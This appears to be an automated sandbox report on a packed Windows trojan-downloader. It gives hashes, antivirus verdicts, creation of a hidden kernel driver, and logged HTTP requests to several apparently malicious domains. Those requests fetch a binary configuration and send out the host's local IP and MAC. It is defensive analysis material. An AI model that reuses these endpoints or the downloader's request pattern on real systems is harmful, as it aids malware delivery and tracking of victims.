Analysis Date2015-10-30 09:31:51
MD577cc7f465796f7f9fd238ce6243aad50
SHA19568c79906095c3be1aa027b1afa7d492a4647d7

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
SectionUPX0 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
SectionUPX1 md5: a58fe13d38c3ba2033e84892cc0516cc sha1: 207b19d7d4cc4885448e358510986d2c6cda667f size: 71168
Section.rsrc md5: c1c7881f9d7714eca9b5dc77743988cc sha1: 4ec32e6277903286c594c729ed5862de5982d8aa size: 1536
Timestamp2014-06-05 09:00:09
VersionLegalCopyright:
InternalName:
FileVersion: 1, 0, 4, 605
CompanyName:
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 1, 0, 4, 605
FileDescription:
OriginalFilename:
PackerUPX -> www.upx.sourceforge.net
PEhash9c1741dd9bf4d1d2c434b747ea795f6d00b23829
IMPhash47facdc176d0a0163cbbc6eeaf773a5f
AVRisingno_virus
AVMcafeeRDN/Generic.dx!ds3
AVAvira (antivir)TR/Agent.8252
AVTwisterTrojan.Invader.mbjz
AVAd-AwareGen:Variant.Graftor.94620
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVGrisoft (avg)Generic36.AUZM.dropper
AVSymantecDownloader
AVFortinetW32/Injector.JQR!tr
AVBitDefenderGen:Variant.Graftor.94620
AVK7Trojan-Downloader ( 0045187a1 )
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVMicroWorld (escan)Gen:Variant.Graftor.94620
AVMalwareBytesno_virus
AVAuthentiumW32/Injector.A.gen!Eldorado
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVIkarusPUA.Zzinfor
AVEmsisoftGen:Variant.Graftor.94620
AVZillya!Downloader.Agent.Win32.194717
AVKasperskyTrojan.Win32.Generic:Trojan.Win32.Rofin.b:Trojan.Win32.Rofin.a
AVTrend MicroTROJ_ROFIN.SM
AVCAT (quickheal)Trojan.Rofin.A.mue
AVVirusBlokAda (vba32)Trojan.Rofin
AVPadvishno_virus
AVBullGuardGen:Variant.Graftor.94620
AVArcabit (arcavir)Gen:Variant.Graftor.94620
AVClamAVWin.Trojan.Ascii.115_238_251_56-1
AVDr. WebTrojan.Carberp.1478
AVF-SecureGen:Variant.Graftor.94620
AVCA (E-Trust Ino)no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ Pid 812

Process
↳ Pid 856

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates Filepipe\PCHFaultRepExecPipe

Process
↳ Pid 1116

Process
↳ Pid 1212

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00

Process
↳ Pid 1868

Process
↳ Pid 1172

Process
↳ C:\WINDOWS\Explorer.EXE

RegistryHKEY_CURRENT_USER\SessionInformation\ProgramCount ➝
NULL

Network Details:

DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/hatold.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1031 ➝ 8.37.236.3:80
Flows TCP192.168.1.1:1032 ➝ 8.37.236.2:80
Flows TCP192.168.1.1:1033 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1034 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1035 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1036 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 8.37.236.3:80
Flows TCP192.168.1.1:1039 ➝ 8.37.236.2:80
Flows TCP192.168.1.1:1040 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1041 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1042 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1045 ➝ 8.37.236.3:80
Flows TCP192.168.1.1:1046 ➝ 8.37.236.2:80
Flows TCP192.168.1.1:1047 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1048 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 8.37.235.5:80
Flows TCP192.168.1.1:1053 ➝ 8.37.231.22:80
Flows TCP192.168.1.1:1054 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1055 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1056 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 8.37.235.5:80
Flows TCP192.168.1.1:1060 ➝ 8.37.231.22:80
Flows TCP192.168.1.1:1061 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1062 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1063 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1064 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1065 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1066 ➝ 8.37.231.21:80
Flows TCP192.168.1.1:1067 ➝ 8.37.231.20:80
Flows TCP192.168.1.1:1068 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1069 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1070 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1071 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1072 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1073 ➝ 8.37.231.21:80
Flows TCP192.168.1.1:1074 ➝ 8.37.231.20:80
Flows TCP192.168.1.1:1075 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1076 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1077 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1078 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1079 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1080 ➝ 8.37.236.6:80
Flows TCP192.168.1.1:1081 ➝ 8.37.236.5:80
Flows TCP192.168.1.1:1082 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1083 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1084 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1085 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1086 ➝ 116.255.243.151:80

Raw Pcap
0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
